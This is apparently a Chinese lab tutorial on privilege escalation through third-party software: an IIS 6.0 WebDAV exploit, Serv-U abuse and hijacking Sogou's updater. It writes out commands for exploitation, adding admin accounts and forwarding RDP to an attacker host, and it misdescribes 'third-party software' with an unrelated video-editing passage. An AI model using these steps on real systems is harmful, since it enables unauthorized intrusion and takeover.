第三方软件—提权思路 – 作者:和风sukf

提权的概念

在入侵过程中，通过各种办法和漏洞，提高攻击者在服务器中的权限，从而以便控制全局的过程就叫做提权。例如：windows系统—>user(guest)—>system;Linux系统—>user—>root

在web渗透中，从最开始的webshell获取的权限可能仅仅是中间件的权限，可执行的操作控制有限，攻击者往往会通过提权的方式来提升已有的权限，从而执行更多的操作。

提权的方法

一、系统漏洞提权

（1）获取操作系统类型以及版本号
（2）根据获取的系统版本号在互联网搜索exp

（3）尝试利用exp获取权限
（4）尝试反弹shell

二、数据库提权

（1）mysql数据库——udf提权

（2）数据库提权——mof提权

（3）数据库提权——反弹端口提权

（4）数据库提权——启动项提权

三、第三方软件/服务提权

（1）通过第三方软件漏洞进行提权

（2）通过服务端口、服务协议漏洞进行提权

第三方软件提权

第三方软件指的是该非线性编辑系统生产商以外的软件公司提供的软件，功能十分强大，有些甚至是从工作站转移过来的，可以这么说，非线性编辑系统之所以能做到效果变幻莫测，匪夷所思，吸引众人的视线，完全取决于第三方软件。第三方软件提权，就是利用第三方软件存在的漏洞来进行获取一个权限的操作。

中间件IIS版本漏洞提权

提权思路：

IIS 6.0默认不开启WebDAV,一旦开启了WebDAV,安装了IIS6.0的服务器将可能受到该漏洞的威胁。

首先对目标靶机进行一个信息收集，通过椰树发现SQL注入漏洞和IIS写漏洞权限

通过椰树软件读取web环境，发现组件IIS6.0

Name -sV O 10.10.10.130扫描版本信息

Nmap –script=vuln 10.10.10.130扫描可能存在的漏洞

把下载好的exp 复制到攻击机器的/usr/share/metasploit-framework/modules/exploits/windows/iis目录下

Kali运行use exploit/windows/iis/cve_2017_7269,然后执行exploit模块添加参数信息

Exploit攻击成果后进入到meterpreter界面

在靶机上创建一个文件夹su，并将iis62.exe上传到文件夹中用于提权操作

利用iis62.exe可以做到提权的操作，添加系统用户等等

Iis62.exe “net user su su123/add”添加用户su，密码为su123

将su用户添加到系统组

Iis62.exe “net localgroup administrators su /add”

net localgroup administrators查看系统组下有没有添加成功

在靶机上输入以下命令，让靶机开启远程端口转发

Lcx.exe -slave 192.168.0.106 4444 10.10.10.130 3389，将目标靶机的3389端口转发到本机的4444端口上

在攻击机输入以下命令，开启端口监听

Lcx.exe -listen 4444 33891

开启远程命令，连接上靶机并输入账户密码即可

Server-U提权

提权思路：

Serv-U是一种被广泛运用的FTP服务器软件，以系统用户身份执行远程代码。

Server-U默认帐号密码LocalAdministrator/#l@$ak#.lk;0@P 如果被修改了，可下载安装目录下的serverAdmin.exe 使用16进制查看器（winHex）打开，查找LocalAdministrator在后面便可看到相应的密码

在上传小马文件shell.aspx后再上传一个大马文件，利用该大马文件的模块servu-提权来创建系统用户

可以利用servu模块执行cmd命令，添加用户执行成功

看看系统用户发现添加成功

在shell界面也能看到添加了系统用户flag

Sogou输入法提权

提权思路

由于搜狗输入法默认设置是自动更新（很少有人去更改这个设置），更新程序没有对exe做任何校验直接在输入法升级时调用运行，导致可以执行恶意代码。

在获取webshell的前提下，在D盘下找到了搜狗的路径

编辑一个PinyinUp的bat文件，通过转义软件编译成PinyinUp.exe，里面存放着恶意代码

上传我们的PinyinUp.exe文件，把之前搜狗路径下的PinyinUp文件改个名字

当用户更新词库的时候就会调用我们的PinyinUp.exe程序，然后生成用户密码

用户添加成功

来源：freebuf.com 2021-07-27 17:51:15 by: 和风sukf